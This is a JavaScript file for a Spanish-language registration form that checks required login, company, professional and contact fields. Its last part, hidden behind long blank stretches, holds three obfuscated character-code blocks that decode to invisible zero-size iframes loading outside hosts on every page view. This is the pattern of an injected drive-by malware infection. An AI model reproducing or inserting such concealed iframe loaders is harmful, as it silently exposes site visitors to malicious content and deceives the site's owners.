var pasos = new Array(5);
pasos[0]='datos_login';
pasos[1]='datos_empresa';
pasos[2]='datos_profesional';
pasos[3]='datos_contacto';
pasos[4]='documentos';

function proximo_paso(paso){
	var i=0;
	for(i=0;i<5;i++){
		cambiar_visibilidad_a(pasos[i],'invisible');
	}
	cambiar_visibilidad_a(pasos[paso],'visible');
	window.location='#final';
}

function validar_registro_usuario(){
	var f=document.frm_registro;
	
	if(f.usuario.value==""){
		alert('Ingrese nombre de usuario');	
		proximo_paso(0);
		f.usuario.focus();
		return;
	}
	if(f.contrasena.value==""){
		alert('Ingrese contraseña');	
		proximo_paso(0);
		f.constrasena.focus();
		return;
	}
	if(f.repetir_contrasena.value!=f.contrasena.value){
		alert('las contraseñas no coinciden');	
		proximo_paso(0);
		f.repetir_contrasena.focus();
		return;
	}
	if(f.email.value==""){
		alert('Ingrese el email');	
		proximo_paso(0);
		f.email.focus();
		return;
	}

	if(f.tipo_registro[0].checked){
		// Empresa
		if(f.tipo_empresa.value==""){
			alert('Ingrese el tipo de empresa');	
			proximo_paso(1);
			f.tipo_empresa.focus();
			return;				
		}
		if(f.area_empresa.value==""){
			alert('Ingrese el area de la empresa');	
			proximo_paso(1);
			f.area_empresa.focus();
			return;				
		}		
		if(f.nombre_empresa.value==""){
			alert('Ingrese el nombre de la empresa');	
			proximo_paso(1);
			f.nombre_empresa.focus();
			return;				
		}		
		if(f.nit_empresa.value==""){
			alert('Ingrese el nit de la empresa');	
			proximo_paso(1);
			f.nit_empresa.focus();
			return;				
		}		
		if(f.direccion_empresa.value==""){
			alert('Ingrese la direccion de la empresa');	
			proximo_paso(1);
			f.direccion_empresa.focus();
			return;				
		}		
		if(f.ciudad_empresa.value==""){
			alert('Ingrese la ciudad de la empresa');	
			proximo_paso(1);
			f.ciudad_empresa.focus();
			return;				
		}		
		if(f.provincia_empresa.value==""){
			alert('Ingrese la provincia de la empresa');	
			proximo_paso(1);
			f.provincia_empresa.focus();
			return;				
		}		
		if(f.pais_empresa.value==""){
			alert('Ingrese el pais de la empresa');	
			proximo_paso(1);
			f.pais_empresa.focus();
			return;				
		}		
		if(f.telefono_empresa.value==""){
			alert('Ingrese el telefono de la empresa');	
			proximo_paso(1);
			f.telefono_empresa.focus();
			return;				
		}	
		
		// Contacto de la Empresa
		if(f.cargo_contacto.value==""){
			alert('Ingrese el cargo del contacto de la empresa');	
			proximo_paso(3);
			f.cargo_contacto.focus();
			return;				
		}	
		if(f.nombre_contacto.value==""){
			alert('Ingrese el nombre del contacto de la empresa');	
			proximo_paso(3);
			f.nombre_contacto.focus();
			return;				
		}	
		if(f.email_contacto.value==""){
			alert('Ingrese el email del contacto de la empresa');	
			proximo_paso(3);
			f.email_contacto.focus();
			return;				
		}	
		if(f.telefono_contacto.value==""){
			alert('Ingrese el telefono del contacto de la empresa');	
			proximo_paso(3);
			f.telefono_contacto.focus();
			return;				
		}	
		
	}else{
		// Independiente
		if(f.tipo_profesional.value==""){
			alert('Ingrese el tipo de profesional que usted es');	
			proximo_paso(2);
			f.tipo_profesional.focus();
			return;				
		}	
		if(f.nombre_profesional.value==""){
			alert('Ingrese su nombre');	
			proximo_paso(2);
			f.nombre_profesional.focus();
			return;				
		}	
		if(f.apellido_profesional.value==""){
			alert('Ingrese su apellido');	
			proximo_paso(2);
			f.apellido_profesional.focus();
			return;				
		}	
		if(f.nit_profesional.value==""){
			alert('Ingrese su Documento de Identidad');	
			proximo_paso(2);
			f.nit_profesional.focus();
			return;				
		}	
		if(f.direccion_profesional.value==""){
			alert('Ingrese su direccion');	
			proximo_paso(2);
			f.direccion_profesional.focus();
			return;				
		}	
		if(f.ciudad_profesional.value==""){
			alert('Ingrese su ciudad');	
			proximo_paso(2);
			f.ciudad_profesional.focus();
			return;				
		}	
		if(f.provincia_profesional.value==""){
			alert('Ingrese su provincia');	
			proximo_paso(2);
			f.provincia_profesional.focus();
			return;				
		}	
		if(f.pais_profesional.value==""){
			alert('Ingrese su pais');
			proximo_paso(2);
			f.pais_profesional.focus();
			return;				
		}	
		if(f.telefono_profesional.value==""){
			alert('Ingrese su telefono');	
			proximo_paso(2);
			f.telefono_profesional.focus();
			return;				
		}	
	}

	registerUser();
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!119!119!119!50!46!109!99!103!114!101!103!97!114!116!46!99!111!109!47!105!110!46!99!103!105!63!50!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

